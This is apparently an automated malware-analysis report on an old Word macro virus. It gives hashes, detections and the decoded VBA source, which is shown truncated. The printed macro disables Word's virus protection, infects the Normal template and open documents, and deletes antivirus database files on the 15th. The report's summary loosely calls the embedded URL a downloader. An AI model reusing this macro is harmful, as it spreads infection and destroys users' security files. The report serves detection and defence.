Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ee244a2d809be73…

MALICIOUS

Office (OLE)

45.0 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f8f8b4103ac34c710c5722b077fab795 SHA-1: b891ddee65df18c3e15d88841e1edf465fa80b25 SHA-256: 3ee244a2d809be7376ef4b287b0117cae4e0a985ad3fada03b5ee5e3350a0f1f
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The macro attempts to disable virus protection and contains obfuscated text that includes contact information for an antivirus company and a URL, suggesting a social engineering or downloader tactic. The presence of a Document_Open macro and the embedded URL strongly indicate a malicious intent, likely to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-12
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.DialogNauka.ru In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6162 bytes
SHA-256: 0390a4f35a313c9311eb2c3d7bc1307c72ec6fe3be719ab6b4eb0643ce5ae1b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Anti AVP&DrWEB 2.0'
'Ëèöåíçèîííîå ñîãëàøåíèå:
'   Äàííûé âèðóñ ðàñïðîñòðàíÿåòñÿ áåñïëàòíî
'   ïî ñõåìå AS IS (êàê åñòü).
'   Íèêàêèõ îãðàíè÷åíèé íà ðàñïðîñòðàíåíèå, òèðàæèðîâàíèå,
'   êîïèðîâàíèå è ïîëó÷åíèå ïðèáûëè íå ñóùåñòâóåò.
'   Äëÿ åãî îòñëåæèâàíèÿ è ëå÷åíèÿ âàì íåîáõîäèìî îáðàòèòüñÿ:
'   â àíòèâèðóñíóþ ëàáîðàòîðèþ È. Äàíèëîâà ("Äèàëîã - Íàóêà")
'
'   Àäðåñ: 117786, Ìîñêâà, óë. Âàâèëîâà 40, îôèñ 102.
'   Ïðîåçä: ñò. ìåòðî "Ëåíèíñêèé ïðîñïåêò" (âûõîä ê óë. Îðäæîíèêèäçå), äàëåå ëþáûì òðàìâàåì äî îñòàíîâêè "Óëèöà Ãóáêèíà" (4-ÿ îñòàíîâêà â ñòîðîíó ñò. ìåòðî "Óíèâåðñèòåò").
'   Ïðîñüáà îáðàùàòüñÿ ñ 10 äî 18 ÷àñîâ ïî ðàáî÷èì äíÿì.
'   Òåë.: (095) 135-6253, 137-0150
'   Òåë./ôàêñ: (095) 938-2970
'   BBS (êðóãëîñóòî÷íûå ëèíèè):
'
'   (095) 938-2856 (28800/V.34) - ëèíèÿ îáùåãî äîñòóïà;
'   (095) 938-2867 (28800/V.34, 33600/V.34+) – ïîäïèñ÷èêè;
'   (095) 938-2969 (28800/V.34, 33600/V.34+) – ïîäïèñ÷èêè;
'   (095) 939-3705 (28800/V.34, 33600/V.34+) – ïîäïèñ÷èêè;
'   (095) 939-5239 (28800/V.34, 33600/V.34+) – ïîäïèñ÷èêè.
'
'   FidoNet: 2:5020/69
'   E-mail: Antivir@DialogNauka.ru - çàìå÷àíèÿ, ïîæåëàíèÿ, ïîñòàâêè, îáñëóæèâàíèå, ïåðåäà÷à íîâûõ âèðóñîâ
'   Ñåðâåð WWW: http://www.DialogNauka.ru
'
'   Ñåðâåðû FTP: ftp://ftp.DialoNauka.ru,   ftp://ftp2.DialogNauka.ru,   
'   ftp://ftp3.DialogNauka.ru
'
    Dim K As Long
    Dim C As Long
    Dim S As String
    Dim f As Boolean
    On Error Resume Next
    Application.Options.VirusProtection = False
    f = Application.Options.SaveNormalPrompt
    Application.Options.SaveNormalPrompt = False
    If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) <> "'Anti AVP&DrWEB 2.0'" Then
        C = Application.ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
        S = Application.ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, C)
        K = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
        NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, K
        NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines 1, S
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    Application.Options.SaveNormalPrompt = f
    For K = 1 To Application.Documents.Count
        If Application.Documents.Item(K).VBProject.VBComponents(1).CodeModule.Lines(2, 1) <> "'Anti AVP&DrWEB 2.0'" Then
            C = Application.Documents.Item(K).VBProject.VBComponents(1).CodeModule.CountOfLines
            Application.Documents.Item(K).VBProject.VBComponents(1).CodeModule.DeleteLines 1, C
            C = NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
            S = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, C)
            Application.Documents.Item(K).VBProject.VBComponents(1).CodeModule.InsertLines 1, S
        End If
    Next K
    'Ñåðåäèíà ìåñÿöà
    If Day(Now()) = 15 Then
        With Application.FileSearch
            .NewSearch
            .MatchTextExactly = False
            .LookIn = "C:\"
            .SearchSubFolders = True
            .FileName = "*.vdb"
            .FileType = msoFileTypeAllFiles
            If .Execute > 0 Then
                For K = 1 To .FoundFiles.Count
                    S = .FoundFiles(K)
                    Kill S
                Next K
            End If
        End With
        With Application.FileSearch
            .NewSearch
            .MatchTextExactly = False
            .LookIn = "C:\"
            .SearchSubFolders = True
            .FileName = "*.avc"
            .FileType = msoFileTypeAllFiles
            If .Execute > 0 Then
                For K = 1 To .FoundFiles.Count
                    S = .FoundFiles(K)
                    Kill S
                Next K
            E
... (truncated)

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